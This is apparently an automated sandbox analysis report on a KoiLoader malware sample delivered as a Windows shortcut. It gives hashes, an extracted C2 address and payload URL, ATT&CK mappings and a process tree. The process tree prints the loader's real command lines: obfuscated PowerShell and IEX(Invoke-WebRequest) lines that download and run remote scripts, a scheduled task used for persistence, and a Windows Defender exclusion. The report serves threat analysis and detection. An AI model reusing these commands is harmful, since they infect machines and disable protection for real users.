koiloader | 6ba8a745da36ed86f9edd685a2d0d93b9e7b4ba537f431fe8dec07d4b7035363

General

Target

chase_march_2025.lnk
Size

1KB
MD5

7d09c2f9087b81928f92fc87b635c008
SHA1

a1db6b387af8021ad097f41586fb86680420e22e
SHA256

311d17e119c43e123a8dc7178ec01366835e6b59300ac1c72b7dd2b5e7aaa9c0
SHA512

5c214d877970eb70bb467fa95778ff35df4ade687bf0d3b54798441861b014fc3a4a65b07ed7474a7127591f214ca2437e91423fc8feb2929019b615cd3334ef

Score

10^/10

koiloader defense_evasion discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://studiolegaledesanctis.eu/wp-content/uploads/2024/07

Extracted

Family

koiloader

C2

http://217.156.66.15/gnathopoda.php

Attributes

payload_url
https://studiolegaledesanctis.eu/wp-content/uploads/2024/07

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral1/memory/3432-56-0x0000000007590000-0x000000000759D000-memory.dmp	family_koi_loader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
7	2644	powershell.exe
68	3432	powershell.exe
69	3432	powershell.exe
71	3040	powershell.exe
72	3040	powershell.exe
86	3432	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4000	powershell.exe
3040	powershell.exe
2644	powershell.exe
3432	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	wscript.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	wscript.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
924	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1352	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2644	powershell.exe
2644	powershell.exe
924	powershell.exe
924	powershell.exe
3432	powershell.exe
3432	powershell.exe
4000	powershell.exe
4000	powershell.exe
4000	powershell.exe
3040	powershell.exe
3040	powershell.exe
3040	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	924	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 2644	1724	cmd.exe	87
PID 1724 wrote to memory of 2644	1724	cmd.exe	87
PID 2644 wrote to memory of 312	2644	powershell.exe	88
PID 2644 wrote to memory of 312	2644	powershell.exe	88
PID 2644 wrote to memory of 1352	2644	powershell.exe	92
PID 2644 wrote to memory of 1352	2644	powershell.exe	92
PID 1184 wrote to memory of 924	1184	wscript.EXE	114
PID 1184 wrote to memory of 924	1184	wscript.EXE	114
PID 924 wrote to memory of 2476	924	powershell.exe	116
PID 924 wrote to memory of 2476	924	powershell.exe	116
PID 924 wrote to memory of 2284	924	powershell.exe	117
PID 924 wrote to memory of 2284	924	powershell.exe	117
PID 2284 wrote to memory of 3432	2284	wscript.exe	118
PID 2284 wrote to memory of 3432	2284	wscript.exe	118
PID 2284 wrote to memory of 3432	2284	wscript.exe	118
PID 2904 wrote to memory of 1496	2904	DllHost.exe	121
PID 2904 wrote to memory of 1496	2904	DllHost.exe	121
PID 2904 wrote to memory of 1496	2904	DllHost.exe	121
PID 1496 wrote to memory of 4000	1496	cmd.exe	123
PID 1496 wrote to memory of 4000	1496	cmd.exe	123
PID 1496 wrote to memory of 4000	1496	cmd.exe	123
PID 3432 wrote to memory of 3096	3432	powershell.exe	124
PID 3432 wrote to memory of 3096	3432	powershell.exe	124
PID 3432 wrote to memory of 3096	3432	powershell.exe	124
PID 3096 wrote to memory of 3040	3096	cmd.exe	126
PID 3096 wrote to memory of 3040	3096	cmd.exe	126
PID 3096 wrote to memory of 3040	3096	cmd.exe	126

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\chase_march_2025.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('9rqn56sj2m9os1.js q2o55or38'); $getf='Dow'+'nl'+'oadF'+'ile'; $xks3k1b8nm0p03af1zq = New-Object Net.WebClient; $wscs = 'wscript '; $xks3k1b8nm0p03af1zq.$getf('https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/ventage3a.php', '9rqn56sj2m9os1.js'); . ('curl.e'+'xe') -s -o 5zf330te4nxl 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/caginessEBuk.php'; mv 5zf330te4nxl 'q2o55or38.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn q2o55or38;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o 5zf330te4nxl https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/caginessEBuk.php
    3⤵
    PID:312
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\9rqn56sj2m9os1.js q2o55or38" /tn q2o55or38
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1352

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE C:\ProgramData\9rqn56sj2m9os1.js q2o55or38
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "schtasks /delete /tn q2o55or38 /f; wscript $env:programdata\q2o55or38.js "
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn q2o55or38 /f
    3⤵
    PID:2476
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\ProgramData\q2o55or38.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2284
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7zCWKN73Z5A1'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/uratic58o.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/shepherdess1Hwn.ps1'))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3432
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd2.ps1')"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3096
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd2.ps1')
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3040

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4000

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rd9d9d26e-a452-402c-a485-490cac1fdcacr.js"
1⤵
PID:5052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Indicator Removal

1

T1070

Clear Persistence

1

T1070.009

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\5zf330te4nxl

Filesize
1KB

MD5
5dafdca35352f21ae4a4f1513db57619

SHA1
8533b465e0b5af236d699ab62d729f1b446a241e

SHA256
06250339950b2c6d63d5ec932248e649f969a5deea7be7efd0bdf4d7852b9fa7

SHA512
c9fea6dc1765227a1e00969e23d65ca5df1e94ed6345fab853f22fb2cbbca519d5ec7414a422581b8d40807d0139a30d0bfb3ea050e22739ab7238b67b3dfaa3

Download Submit
C:\ProgramData\9rqn56sj2m9os1.js

Filesize
198B

MD5
af9f1f2076317c03e21d56367e638af4

SHA1
61c4f850591f851acd3108104ef14f0fe32f95a6

SHA256
70835a8f7ea6c93942935a6f9fef1ae4591c22e873e3b06000ef01437f2090c1

SHA512
c280492024a902e3988c88dca7e21fc622df1bdf66796d9baf06a3b393550ac3d771589b0c51e7c246991d314c0729e7631cd1c08ba575683d9abdef7295b29c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3b0f081e2d5cb898a093bf8a7f0cb02c

SHA1
450dcccea520eb29e81f8dad87ea37360b3ef35a

SHA256
4bce5326b2bb01866211d8d191f111bf1586e718087e98ba0a59dfcf27885ce5

SHA512
be043146397a7fdba3c409c867470d826a963c9bea91347d0291213884c608cd095c3802c4347ae17e25dfc265107d52b01c901ea2da505d88197a65e038979a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vn4wdlwq.sfk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2644-14-0x00007FFDCE370000-0x00007FFDCEE31000-memory.dmp

Filesize
10.8MB

Download
memory/2644-20-0x00007FFDCE370000-0x00007FFDCEE31000-memory.dmp

Filesize
10.8MB

Download
memory/2644-2-0x00007FFDCE373000-0x00007FFDCE375000-memory.dmp

Filesize
8KB

Download
memory/2644-13-0x00007FFDCE370000-0x00007FFDCEE31000-memory.dmp

Filesize
10.8MB

Download
memory/2644-3-0x00000200608E0000-0x0000020060902000-memory.dmp

Filesize
136KB

Download
memory/3040-104-0x00000000080F0000-0x0000000008182000-memory.dmp

Filesize
584KB

Download
memory/3040-103-0x0000000008000000-0x0000000008050000-memory.dmp

Filesize
320KB

Download
memory/3040-102-0x0000000007EB0000-0x0000000007ECA000-memory.dmp

Filesize
104KB

Download
memory/3040-101-0x0000000008560000-0x0000000008B04000-memory.dmp

Filesize
5.6MB

Download
memory/3040-100-0x0000000007790000-0x00000000077B2000-memory.dmp

Filesize
136KB

Download
memory/3432-54-0x0000000007670000-0x0000000007CEA000-memory.dmp

Filesize
6.5MB

Download
memory/3432-51-0x0000000005FE0000-0x0000000005FFE000-memory.dmp

Filesize
120KB

Download
memory/3432-52-0x0000000006020000-0x000000000606C000-memory.dmp

Filesize
304KB

Download
memory/3432-55-0x0000000007500000-0x0000000007501000-memory.dmp

Filesize
4KB

Download
memory/3432-56-0x0000000007590000-0x000000000759D000-memory.dmp

Filesize
52KB

Download
memory/3432-35-0x0000000004A50000-0x0000000004A86000-memory.dmp

Filesize
216KB

Download
memory/3432-53-0x00000000063D0000-0x00000000063EA000-memory.dmp

Filesize
104KB

Download
memory/3432-36-0x00000000051E0000-0x0000000005808000-memory.dmp

Filesize
6.2MB

Download
memory/3432-37-0x0000000005040000-0x0000000005062000-memory.dmp

Filesize
136KB

Download
memory/3432-38-0x00000000050E0000-0x0000000005146000-memory.dmp

Filesize
408KB

Download
memory/3432-39-0x0000000005150000-0x00000000051B6000-memory.dmp

Filesize
408KB

Download
memory/3432-49-0x0000000005A10000-0x0000000005D64000-memory.dmp

Filesize
3.3MB

Download
memory/4000-70-0x0000000071040000-0x000000007108C000-memory.dmp

Filesize
304KB

Download
memory/4000-95-0x00000000078F0000-0x0000000007904000-memory.dmp

Filesize
80KB

Download
memory/4000-96-0x00000000079F0000-0x0000000007A0A000-memory.dmp

Filesize
104KB

Download
memory/4000-97-0x00000000079D0000-0x00000000079D8000-memory.dmp

Filesize
32KB

Download
memory/4000-94-0x00000000078E0000-0x00000000078EE000-memory.dmp

Filesize
56KB

Download
memory/4000-84-0x00000000078B0000-0x00000000078C1000-memory.dmp

Filesize
68KB

Download
memory/4000-83-0x0000000007930000-0x00000000079C6000-memory.dmp

Filesize
600KB

Download
memory/4000-82-0x0000000007720000-0x000000000772A000-memory.dmp

Filesize
40KB

Download
memory/4000-81-0x0000000007570000-0x0000000007613000-memory.dmp

Filesize
652KB

Download
memory/4000-80-0x00000000074F0000-0x000000000750E000-memory.dmp

Filesize
120KB

Download
memory/4000-69-0x0000000007530000-0x0000000007562000-memory.dmp

Filesize
200KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads